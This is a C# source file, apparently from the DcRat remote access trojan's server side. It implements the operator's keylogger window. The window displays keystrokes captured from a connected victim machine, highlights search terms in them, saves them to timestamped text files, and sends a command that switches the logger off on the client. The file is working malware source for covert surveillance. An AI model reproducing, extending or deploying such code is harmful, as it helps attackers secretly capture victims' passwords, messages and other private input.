DcRat/Server/Forms/FormKeylogger.cs

88 lines
2.9 KiB
C#

using Server.MessagePack;
using Server.Connection;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Server.Forms
{
public partial class FormKeylogger : Form
{
public FormKeylogger()
{
InitializeComponent();
}
public Form1 F { get; set; }
internal Clients Client { get; set; }
public StringBuilder Sb = new StringBuilder();
public string FullPath { get; set; }
private void Timer1_Tick(object sender, EventArgs e)
{
try
{
if (!Client.TcpClient.Connected) this.Close();
}
catch { this.Close(); }
}
private void Keylogger_FormClosed(object sender, FormClosedEventArgs e)
{
Sb?.Clear();
if (Client != null)
{
ThreadPool.QueueUserWorkItem((o) =>
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "Logger";
msgpack.ForcePathObject("isON").AsString = "false";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
});
}
}
private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e)
{
richTextBox1.SelectionStart = 0;
richTextBox1.SelectAll();
richTextBox1.SelectionBackColor = Color.White;
if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(toolStripTextBox1.Text))
{
int startindex = 0;
while (startindex < richTextBox1.TextLength)
{
int wordstartIndex = richTextBox1.Find(toolStripTextBox1.Text, startindex, RichTextBoxFinds.None);
if (wordstartIndex != -1)
{
richTextBox1.SelectionStart = wordstartIndex;
richTextBox1.SelectionLength = toolStripTextBox1.Text.Length;
richTextBox1.SelectionBackColor = Color.Yellow;
}
else
break;
startindex += wordstartIndex + toolStripTextBox1.Text.Length;
}
}
}
private void ToolStripButton1_Click(object sender, EventArgs e)
{
try
{
if (!Directory.Exists(FullPath))
Directory.CreateDirectory(FullPath);
File.WriteAllText(FullPath + $"\\Keylogger_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.txt", richTextBox1.Text.Replace("\n", Environment.NewLine));
}
catch { }
}
}
}